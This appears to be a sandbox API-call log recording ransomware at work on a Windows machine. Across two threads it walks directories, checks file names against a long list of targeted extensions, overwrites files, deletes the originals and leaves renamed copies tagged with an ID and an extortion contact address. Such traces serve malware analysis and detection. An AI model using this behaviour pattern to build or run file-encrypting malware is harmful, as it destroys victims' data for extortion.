	[0208.590] GetLastError () returned 0x0
	[0208.590] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x52c, lpOverlapped=0x0) returned 1
	[0208.591] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x530, lpOverlapped=0x0) returned 1
	[0208.592] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.592] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.592] SetEndOfFile (hFile=0x380) returned 1
	[0208.593] CloseHandle (hObject=0x380) returned 1
	[0208.593] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.593] SetEndOfFile (hFile=0x37c) returned 1
	[0208.593] CloseHandle (hObject=0x37c) returned 1
	[0208.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1
	[0208.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.594] lstrlenW (lpString=".doc") returned 4
	[0208.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString=".docx") returned 5
	[0208.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.595] lstrlenW (lpString=".pdf") returned 4
	[0208.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString=".xls") returned 4
	[0208.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.595] lstrlenW (lpString=".xlsx") returned 5
	[0208.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.595] lstrlenW (lpString=".ppt") returned 4
	[0208.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.595] lstrlenW (lpString=".zip") returned 4
	[0208.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.595] lstrlenW (lpString=".rar") returned 4
	[0208.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString=".bz2") returned 4
	[0208.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString=".7z") returned 3
	[0208.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.595] lstrlenW (lpString=".dbf") returned 4
	[0208.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.595] lstrlenW (lpString=".1cd") returned 4
	[0208.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.595] lstrlenW (lpString=".jpg") returned 4
	[0208.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.595] lstrlenW (lpString=".doc") returned 4
	[0208.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString=".docx") returned 5
	[0208.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.596] lstrlenW (lpString=".pdf") returned 4
	[0208.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString=".xls") returned 4
	[0208.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.596] lstrlenW (lpString=".xlsx") returned 5
	[0208.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.596] lstrlenW (lpString=".ppt") returned 4
	[0208.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.596] lstrlenW (lpString=".zip") returned 4
	[0208.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.596] lstrlenW (lpString=".rar") returned 4
	[0208.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString=".bz2") returned 4
	[0208.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString=".7z") returned 3
	[0208.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.596] lstrlenW (lpString=".dbf") returned 4
	[0208.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.596] lstrlenW (lpString=".1cd") returned 4
	[0208.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0208.596] lstrlenW (lpString=".jpg") returned 4
	[0208.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1

Thread:
	id = 96
	os_tid = 0xf98

	[0205.086] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3d90058
	[0205.087] lstrlenW (lpString="C:") returned 2
	[0205.087] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33ffcf8 | out: lpFindFileData=0x33ffcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x57a440
	[0205.087] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0205.087] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0205.087] lstrlenW (lpString="$GetCurrent") returned 11
	[0205.087] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0205.087] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3da0060
	[0205.087] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0205.088] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x653018
	[0205.088] FindNextFileW (in: hFindFile=0x653018, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0205.088] FindNextFileW (in: hFindFile=0x653018, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0205.088] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0205.088] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0205.088] lstrlenW (lpString="Logs") returned 4
	[0205.088] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0205.088] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.088] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0205.088] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630, dwReserved1=0x7ef, cFileName=".", cAlternateFileName="")) returned 0x6530d8
	[0205.089] FindNextFileW (in: hFindFile=0x6530d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630, dwReserved1=0x7ef, cFileName="..", cAlternateFileName="")) returned 1
	[0205.089] FindNextFileW (in: hFindFile=0x6530d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031d0cb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8031d0cb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80343360, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x630, dwReserved1=0x7ef, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DOWNLE~1.HTM")) returned 1
	[0205.090] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html") returned 77
	[0205.090] lstrlenW (lpString=".1cd") returned 4
	[0205.090] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".3ds") returned 4
	[0205.090] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".3fr") returned 4
	[0205.090] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".3g2") returned 4
	[0205.090] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".3gp") returned 4
	[0205.090] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".7z") returned 3
	[0205.090] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0205.090] lstrlenW (lpString=".accda") returned 6
	[0205.090] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0205.090] lstrlenW (lpString=".accdb") returned 6
	[0205.090] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0205.090] lstrlenW (lpString=".accdc") returned 6
	[0205.090] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0205.090] lstrlenW (lpString=".accde") returned 6
	[0205.090] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0205.090] lstrlenW (lpString=".accdt") returned 6
	[0205.090] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0205.090] lstrlenW (lpString=".accdw") returned 6
	[0205.090] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0205.090] lstrlenW (lpString=".adb") returned 4
	[0205.090] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".adp") returned 4
	[0205.090] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0205.090] lstrlenW (lpString=".ai") returned 3
	[0205.090] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0205.090] lstrlenW (lpString=".ai3") returned 4
	[0205.090] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".ai4") returned 4
	[0205.091] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".ai5") returned 4
	[0205.091] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".ai6") returned 4
	[0205.091] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".ai7") returned 4
	[0205.091] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".ai8") returned 4
	[0205.091] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".anim") returned 5
	[0205.091] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0205.091] lstrlenW (lpString=".arw") returned 4
	[0205.091] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".as") returned 3
	[0205.091] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0205.091] lstrlenW (lpString=".asa") returned 4
	[0205.091] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".asc") returned 4
	[0205.091] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".ascx") returned 5
	[0205.091] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0205.091] lstrlenW (lpString=".asm") returned 4
	[0205.091] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".asmx") returned 5
	[0205.091] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0205.091] lstrlenW (lpString=".asp") returned 4
	[0205.091] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".aspx") returned 5
	[0205.091] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0205.091] lstrlenW (lpString=".asr") returned 4
	[0205.091] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0205.091] lstrlenW (lpString=".asx") returned 4
	[0205.091] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".avi") returned 4
	[0205.092] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".avs") returned 4
	[0205.092] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".backup") returned 7
	[0205.092] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0205.092] lstrlenW (lpString=".bak") returned 4
	[0205.092] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".bay") returned 4
	[0205.092] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".bd") returned 3
	[0205.092] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0205.092] lstrlenW (lpString=".bin") returned 4
	[0205.092] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".bmp") returned 4
	[0205.092] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".bz2") returned 4
	[0205.092] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0205.092] lstrlenW (lpString=".c") returned 2
	[0205.092] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0205.092] lstrlenW (lpString=".cdr") returned 4
	[0205.093] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cer") returned 4
	[0205.093] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cf") returned 3
	[0205.093] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0205.093] lstrlenW (lpString=".cfc") returned 4
	[0205.093] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cfm") returned 4
	[0205.093] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cfml") returned 5
	[0205.093] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0205.093] lstrlenW (lpString=".cfu") returned 4
	[0205.093] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".chm") returned 4
	[0205.093] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cin") returned 4
	[0205.093] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".class") returned 6
	[0205.093] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0205.093] lstrlenW (lpString=".clx") returned 4
	[0205.093] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".config") returned 7
	[0205.093] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0205.093] lstrlenW (lpString=".cpp") returned 4
	[0205.093] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cr2") returned 4
	[0205.093] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".crt") returned 4
	[0205.093] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".crw") returned 4
	[0205.093] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0205.093] lstrlenW (lpString=".cs") returned 3
	[0205.093] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0205.093] lstrlenW (lpString=".css") returned 4
	[0205.094] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".csv") returned 4
	[0205.094] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".cub") returned 4
	[0205.094] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dae") returned 4
	[0205.094] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dat") returned 4
	[0205.094] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".db") returned 3
	[0205.094] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0205.094] lstrlenW (lpString=".dbf") returned 4
	[0205.094] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dbx") returned 4
	[0205.094] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dc3") returned 4
	[0205.094] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dcm") returned 4
	[0205.094] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dcr") returned 4
	[0205.094] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".der") returned 4
	[0205.094] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dib") returned 4
	[0205.094] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dic") returned 4
	[0205.094] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".dif") returned 4
	[0205.094] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0205.094] lstrlenW (lpString=".divx") returned 5
	[0205.094] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0205.094] lstrlenW (lpString=".djvu") returned 5
	[0205.094] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0205.094] lstrlenW (lpString=".dng") returned 4
	[0205.094] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".doc") returned 4
	[0205.095] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".docm") returned 5
	[0205.095] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0205.095] lstrlenW (lpString=".docx") returned 5
	[0205.095] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0205.095] lstrlenW (lpString=".dot") returned 4
	[0205.095] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dotm") returned 5
	[0205.095] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0205.095] lstrlenW (lpString=".dotx") returned 5
	[0205.095] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0205.095] lstrlenW (lpString=".dpx") returned 4
	[0205.095] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dqy") returned 4
	[0205.095] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dsn") returned 4
	[0205.095] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dt") returned 3
	[0205.095] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0205.095] lstrlenW (lpString=".dtd") returned 4
	[0205.095] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dwg") returned 4
	[0205.095] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dwt") returned 4
	[0205.095] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".dx") returned 3
	[0205.095] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0205.095] lstrlenW (lpString=".dxf") returned 4
	[0205.095] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0205.095] lstrlenW (lpString=".edml") returned 5
	[0205.095] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0205.095] lstrlenW (lpString=".efd") returned 4
	[0205.095] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".elf") returned 4
	[0205.096] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".emf") returned 4
	[0205.096] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".emz") returned 4
	[0205.096] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".epf") returned 4
	[0205.096] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".eps") returned 4
	[0205.096] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".epsf") returned 5
	[0205.096] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0205.096] lstrlenW (lpString=".epsp") returned 5
	[0205.096] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0205.096] lstrlenW (lpString=".erf") returned 4
	[0205.096] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".exr") returned 4
	[0205.096] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".f4v") returned 4
	[0205.096] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".fido") returned 5
	[0205.096] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0205.096] lstrlenW (lpString=".flm") returned 4
	[0205.096] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".flv") returned 4
	[0205.096] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".frm") returned 4
	[0205.096] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".fxg") returned 4
	[0205.096] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".geo") returned 4
	[0205.096] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0205.096] lstrlenW (lpString=".gif") returned 4
	[0205.096] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".grs") returned 4
	[0205.097] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".gz") returned 3
	[0205.097] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0205.097] lstrlenW (lpString=".h") returned 2
	[0205.097] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0205.097] lstrlenW (lpString=".hdr") returned 4
	[0205.097] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".hpp") returned 4
	[0205.097] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".hta") returned 4
	[0205.097] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".htc") returned 4
	[0205.097] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".htm") returned 4
	[0205.097] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".html") returned 5
	[0205.097] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0205.097] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html") returned 77
	[0205.097] lstrlenW (lpString=".html") returned 5
	[0205.097] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
